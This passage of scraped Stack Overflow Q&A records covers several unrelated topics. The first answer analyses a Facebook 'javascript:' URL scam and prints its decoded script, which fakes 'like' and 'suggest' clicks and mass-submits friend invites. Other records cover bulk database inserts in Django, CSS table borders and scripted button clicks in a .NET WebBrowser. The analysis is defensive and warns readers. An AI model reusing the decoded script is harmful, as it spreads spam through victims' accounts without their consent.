))})(); ```
2010/04/28
[ "https://Stackoverflow.com/questions/2731345", "https://Stackoverflow.com", "https://Stackoverflow.com/users/328085/" ]
I don't know so many are downvoting this. You are absolutely right to be suspicious about packed and otherwise-obfuscated scripts, especially with the rash of malvertisements affecting FB apps at the moment. The first trick is to replace the `eval` on the results of the unpacker with an `alert` so you can see the code instead of executing it. That gives you something you can easily (but boringly) manually decode to: ``` document.getElementById('app120668947950042_mwrapper').style.visibility='hidden'; document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value; s=document.getElementById('suggest'); m=document.getElementById('likeme'); c=document.createEvent('MouseEvents'); c.initEvent('click',true,true); s.dispatchEvent(c); setTimeout(function(){ fs.select_all() }, 5000); setTimeout(function(){ SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php') }, 5000); setTimeout(function(){ m.dispatchEvent(c); document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value }, 5000); ``` That looks like it's faking click on the ‘like’ and ‘suggest’ buttons (and subsequent dialogue), circumventing the normal controls FB require to interact with the site. I'd report this page to FB. In general, anything that asks you to enter a JavaScript URL is up to no good. This is the poor-man's-XSS. By allowing someone's code onto a page through a JS URL you are trusting them to do anything they want with your use of the site, as this crude social-engineering attempt demonstrates. It's depressing if a lot of people are falling for this. Maybe it's time for browsers to disallow typing `javascript:` URLs in the address bar. Curse you Netscape for inventing the ugly `javascript:` not-really-a-URL hack and the thousands of security holes that have resulted from it!
That looks like the code invite your friends to join a group or something along those lines.. They've been floating around facebook for a while.
30,929,134
I may be undertaking too large of a project for a noob, but I'm trying to host an unofficial API for KickassTorrents. Currently, they offer text dumps of their entire database that are usually around 650Mb. Right now I'm reading the text file with Python and inserting it into my database using Django's ORM: ``` with open('hourlydump.txt', 'r') as f: for line in f: sections = line.split('|') Torrent.objects.create(...) ``` Using their hourly dump as a test (which is ~900kb), I came up with an execution time of about two minutes. Obviously scaling up to 700Mb with that speed is impractical. I'm thinking that this problem has a solution, but I'm just not sure what it would be. I'm sure that the time to load their entire database into my own will still be significant, but I'm hoping there's a more efficient solution that I don't know about that will reduce the execution time to something less than 25 hours. EDIT: The bottleneck is almost definitely inserting into the database. Inserting with the ORM: ``` $ python manage.py create_data Execution time: 134.284000158 ``` Just creating the objects and storing them in a list: ``` $ python manage.py create_data Execution time: 1.18499994278 ``` I appreciate any guidance you might have.
2015/06/19
[ "https://Stackoverflow.com/questions/30929134", "https://Stackoverflow.com", "https://Stackoverflow.com/users/4163395/" ]
Try this code... ```css table { border-collapse: collapse; } table td { border: 1px solid #333; } ``` ```html <html> <head><title>Demo</title></head> <body> <table> <tr> <td>Test1</td> <td>Test2</td> <td>Test3</td> <td>Test4</td> </tr> </table> </body> </html> ```
It sounds like you might want borders around the td elements as well. If so I would recommend this: ``` table { border: 1px solid black; border-collapse: collapse; } td { border: 1px solid black; } ``` The border-collapse removes any spaces between the borders.
6,767,418
I am using Dotnet Web Browser to click an Input Element - Button. When this click event is fired, it performs a JS function, which generates captcha using Google Recaptcher, source of which looks like [Recaptcha link](http://www.google.com/recaptcha/api/image?c=03AHJ_Vusqkf0oZKUKbZvLFnuK8XBnPIR0SP_X97t6lCmLgrlgPwUhlpFTPybk4fWg9Nm4cSFc-DIxfIlJErIVLt_deEgfGZA3BJGsCxM5-CB-7YuEj_Gf-_qmnD5LDv3hbJJRqC44S4vwI-7JGZNyp7gJEIdAYcSoxsEEg7O49hHFSfuV6u43P5aGzA79T7ajZcqW-N20p2q2). Now the issue is that I am **unable to fire the onClick event**, I am using the following code: ``` HtmlElementCollection inputColl = HTMLDoc.GetElementsByTagName("input"); foreach (HtmlElement inputTag in inputColl) { string valueAttribute = inputTag.GetAttribute("value"); if (valueAttribute.ToLower() == "sign up") { inputTag.Focus(); inputTag.InvokeMember("Click"); break; } } ``` I have checked everything, I am catching the right button, but don't know why the onClick event is not getting fired. Any suggestion is welcome.
2011/07/20
[ "https://Stackoverflow.com/questions/6767418", "https://Stackoverflow.com", "https://Stackoverflow.com/users/434685/" ]
1. Add reference to Microsoft.mshtml; 2. Look at the fixed example below: ``` HtmlElementCollection inputColl = HTMLDoc.GetElementsByTagName("input"); foreach (HtmlElement inputTag in inputColl) { string valueAttribute = inputTag.GetAttribute("value"); if (valueAttribute.ToLower() == "sign up") { inputTag.Focus(); IHTMLElement nativeElement = el.DomElement as IHTMLElement; nativeElement.click(); break; } } ```
Are you sure "Click" is the correct name? I have some almost identical code, to do exactly the same thing, and the attribute name is "onclick". Have another look at the HTML for the page. ``` foreach (HtmlElement element in col) { if (element.GetAttribute(attribute).Equals(attName)) { // Invoke the "Click" member of the button element.InvokeMember("onclick"); } } ```